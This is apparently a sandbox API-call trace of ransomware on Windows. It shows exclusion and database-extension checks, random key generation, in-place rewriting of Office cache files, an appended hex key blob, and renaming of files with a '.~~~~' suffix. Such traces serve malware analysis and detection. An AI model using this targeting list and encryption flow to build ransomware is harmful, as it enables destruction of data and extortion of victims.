	[0075.777] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0075.777] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0075.777] CloseHandle (hObject=0x134) returned 1
	[0075.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4100
	[0075.778] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.~~~~")) returned 1
	[0075.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4100 | out: hHeap=0x300000) returned 1
	[0075.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0075.779] GetLastError () returned 0x0
	[0075.779] RtlWakeConditionVariable () returned 0x365f70
	[0075.779] GetCurrentThreadId () returned 0x9cc
	[0075.779] GetCurrentThreadId () returned 0x9cc
	[0075.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4100
	[0075.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4498 | out: hHeap=0x300000) returned 1
	[0075.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa820 | out: hHeap=0x300000) returned 1
	[0075.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4498
	[0075.779] lstrlenW (lpString=".scr") returned 4
	[0075.779] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".scr") returned 0x0
	[0075.779] lstrlenW (lpString=".cmd") returned 4
	[0075.779] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".cmd") returned 0x0
	[0075.779] lstrlenW (lpString=".dll") returned 4
	[0075.779] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".dll") returned 0x0
	[0075.779] lstrlenW (lpString=".bat") returned 4
	[0075.779] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".bat") returned 0x0
	[0075.779] lstrlenW (lpString=".cpl") returned 4
	[0075.779] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".cpl") returned 0x0
	[0075.780] lstrlenW (lpString=".sys") returned 4
	[0075.780] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".sys") returned 0x0
	[0075.780] lstrlenW (lpString=".msc") returned 4
	[0075.780] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".msc") returned 0x0
	[0075.780] lstrlenW (lpString=".com") returned 4
	[0075.780] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".com") returned 0x0
	[0075.780] lstrlenW (lpString=".lnk") returned 4
	[0075.780] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".lnk") returned 0x0
	[0075.780] lstrlenW (lpString=".msp") returned 4
	[0075.780] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".msp") returned 0x0
	[0075.780] lstrlenW (lpString=".pif") returned 4
	[0075.780] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".pif") returned 0x0
	[0075.780] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0075.780] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0075.780] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0076.114] lstrlenW (lpString=".sqb") returned 4
	[0076.114] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".sqb") returned 0x0
	[0076.114] lstrlenW (lpString=".ost") returned 4
	[0076.114] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".ost") returned 0x0
	[0076.114] lstrlenW (lpString=".txt") returned 4
	[0076.114] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".txt") returned 0x0
	[0076.115] lstrlenW (lpString=".mdt") returned 4
	[0076.115] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".mdt") returned 0x0
	[0076.115] lstrlenW (lpString=".BDB") returned 4
	[0076.115] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".BDB") returned 0x0
	[0076.115] lstrlenW (lpString=".eql") returned 4
	[0076.115] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".eql") returned 0x0
	[0076.115] lstrlenW (lpString=".DBF") returned 4
	[0076.115] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".DBF") returned 0x0
	[0076.115] lstrlenW (lpString=".EQL") returned 4
	[0076.115] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".EQL") returned 0x0
	[0076.115] lstrlenW (lpString=".FDB") returned 4
	[0076.115] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".FDB") returned 0x0
	[0076.115] lstrlenW (lpString=".EDB") returned 4
	[0076.115] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".EDB") returned 0x0
	[0076.115] lstrlenW (lpString=".DACPAC") returned 7
	[0076.115] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".DACPAC") returned 0x0
	[0076.115] lstrlenW (lpString=".VHD") returned 4
	[0076.115] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".VHD") returned 0x0
	[0076.115] lstrlenW (lpString=".DBV") returned 4
	[0076.115] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".DBV") returned 0x0
	[0076.115] lstrlenW (lpString=".dacpac") returned 7
	[0076.115] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".dacpac") returned 0x0
	[0076.115] lstrlenW (lpString=".sdf") returned 4
	[0076.115] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".sdf") returned 0x0
	[0076.115] lstrlenW (lpString=".accdb") returned 6
	[0076.115] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".accdb") returned 0x0
	[0076.115] lstrlenW (lpString=".DBX") returned 4
	[0076.115] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".DBX") returned 0x0
	[0076.115] lstrlenW (lpString=".MDT") returned 4
	[0076.115] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".MDT") returned 0x0
	[0076.115] lstrlenW (lpString=".SQB") returned 4
	[0076.115] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".SQB") returned 0x0
	[0076.116] lstrlenW (lpString=".vhd") returned 4
	[0076.116] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".vhd") returned 0x0
	[0076.116] lstrlenW (lpString=".bac") returned 4
	[0076.116] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".bac") returned 0x0
	[0076.116] lstrlenW (lpString=".mdf") returned 4
	[0076.116] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".mdf") returned 0x0
	[0076.116] lstrlenW (lpString=".BAK") returned 4
	[0076.116] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".BAK") returned 0x0
	[0076.116] lstrlenW (lpString=".BAC") returned 4
	[0076.116] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".BAC") returned 0x0
	[0076.116] lstrlenW (lpString=".dbs") returned 4
	[0076.116] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".dbs") returned 0x0
	[0076.116] lstrlenW (lpString=".vhdx") returned 5
	[0076.116] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".vhdx") returned 0x0
	[0076.116] lstrlenW (lpString=".NDF") returned 4
	[0076.116] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".NDF") returned 0x0
	[0076.116] lstrlenW (lpString=".dat") returned 4
	[0076.116] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".dat") returned 0x0
	[0076.116] lstrlenW (lpString=".DBS") returned 4
	[0076.116] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".DBS") returned 0x0
	[0076.116] lstrlenW (lpString=".CKP") returned 4
	[0076.116] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".CKP") returned 0x0
	[0076.116] lstrlenW (lpString=".edb") returned 4
	[0076.116] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".edb") returned 0x0
	[0076.116] lstrlenW (lpString=".PST") returned 4
	[0076.116] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".PST") returned 0x0
	[0076.116] lstrlenW (lpString=".dbf") returned 4
	[0076.116] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".dbf") returned 0x0
	[0076.116] lstrlenW (lpString=".SQL") returned 4
	[0076.116] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".SQL") returned 0x0
	[0076.116] lstrlenW (lpString=".pst") returned 4
	[0076.116] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".pst") returned 0x0
	[0076.117] lstrlenW (lpString=".dbv") returned 4
	[0076.117] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".dbv") returned 0x0
	[0076.117] lstrlenW (lpString=".SDF") returned 4
	[0076.117] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".SDF") returned 0x0
	[0076.117] lstrlenW (lpString=".dtxs") returned 5
	[0076.117] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".dtxs") returned 0x0
	[0076.117] lstrlenW (lpString=".db3") returned 4
	[0076.117] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".db3") returned 0x0
	[0076.117] lstrlenW (lpString=".OST") returned 4
	[0076.117] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".OST") returned 0x0
	[0076.117] lstrlenW (lpString=".dbx") returned 4
	[0076.117] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".dbx") returned 0x0
	[0076.117] lstrlenW (lpString=".DB3") returned 4
	[0076.117] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".DB3") returned 0x0
	[0076.117] lstrlenW (lpString=".DAT") returned 4
	[0076.117] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".DAT") returned 0x0
	[0076.117] lstrlenW (lpString=".VHDX") returned 5
	[0076.117] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".VHDX") returned 0x0
	[0076.117] lstrlenW (lpString=".ndf") returned 4
	[0076.117] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".ndf") returned 0x0
	[0076.117] lstrlenW (lpString=".DB") returned 3
	[0076.117] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".DB") returned 0x0
	[0076.117] lstrlenW (lpString=".sql") returned 4
	[0076.117] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".sql") returned 0x0
	[0076.117] lstrlenW (lpString=".MYD") returned 4
	[0076.117] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".MYD") returned 0x0
	[0076.117] lstrlenW (lpString=".DBT") returned 4
	[0076.117] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".DBT") returned 0x0
	[0076.117] lstrlenW (lpString=".ACCDB") returned 6
	[0076.117] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".ACCDB") returned 0x0
	[0076.117] lstrlenW (lpString=".fdb") returned 4
	[0076.117] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".fdb") returned 0x0
	[0076.118] lstrlenW (lpString=".bak") returned 4
	[0076.118] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".bak") returned 0x0
	[0076.118] lstrlenW (lpString=".myd") returned 4
	[0076.118] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".myd") returned 0x0
	[0076.118] lstrlenW (lpString=".DTXS") returned 5
	[0076.118] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".DTXS") returned 0x0
	[0076.118] lstrlenW (lpString=".ckp") returned 4
	[0076.118] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".ckp") returned 0x0
	[0076.118] lstrlenW (lpString=".dbt") returned 4
	[0076.118] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".dbt") returned 0x0
	[0076.118] lstrlenW (lpString=".db") returned 3
	[0076.118] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".db") returned 0x0
	[0076.118] lstrlenW (lpString=".TXT") returned 4
	[0076.118] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".TXT") returned 0x0
	[0076.118] lstrlenW (lpString=".MDF") returned 4
	[0076.118] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".MDF") returned 0x0
	[0076.118] lstrlenW (lpString=".bdb") returned 4
	[0076.118] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".bdb") returned 0x0
	[0076.118] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.118] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a30e0
	[0076.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.118] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0076.119] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.119] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0076.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f1268
	[0076.119] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19610941606) returned 1
	[0076.119] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9743d870, dwHighDateTime=0x1d60e1e)) 
	[0076.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0076.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0076.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0076.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa970
	[0076.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa970 | out: hHeap=0x300000) returned 1
	[0076.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7b88
	[0076.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7b88 | out: hHeap=0x300000) returned 1
	[0076.120] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0076.120] GetLastError () returned 0x0
	[0076.120] GetLastError () returned 0x0
	[0076.120] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0076.120] GetLastError () returned 0x0
	[0076.120] GetLastError () returned 0x0
	[0076.121] ReadFile (in: hFile=0x134, lpBuffer=0x283dfe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesRead=0x26dfec0*=0x5ac, lpOverlapped=0x0) returned 1
	[0076.189] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffffa54, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.189] WriteFile (in: hFile=0x134, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x5ac, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x26dfec0*=0x5ac, lpOverlapped=0x0) returned 1
	[0076.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0076.189] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.189] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.190] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.190] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.190] CloseHandle (hObject=0x134) returned 1
	[0076.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a55d8
	[0076.190] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.~~~~")) returned 1
	[0076.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a55d8 | out: hHeap=0x300000) returned 1
	[0076.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0076.191] GetLastError () returned 0x0
	[0076.191] RtlWakeConditionVariable () returned 0x365f70
	[0076.191] GetCurrentThreadId () returned 0x9cc
	[0076.226] GetCurrentThreadId () returned 0x9cc
	[0076.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b36f8
	[0076.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3220 | out: hHeap=0x300000) returned 1
	[0076.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fac48 | out: hHeap=0x300000) returned 1
	[0076.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3a18
	[0076.226] lstrlenW (lpString=".scr") returned 4
	[0076.226] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".scr") returned 0x0
	[0076.226] lstrlenW (lpString=".cmd") returned 4
	[0076.226] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".cmd") returned 0x0
	[0076.226] lstrlenW (lpString=".dll") returned 4
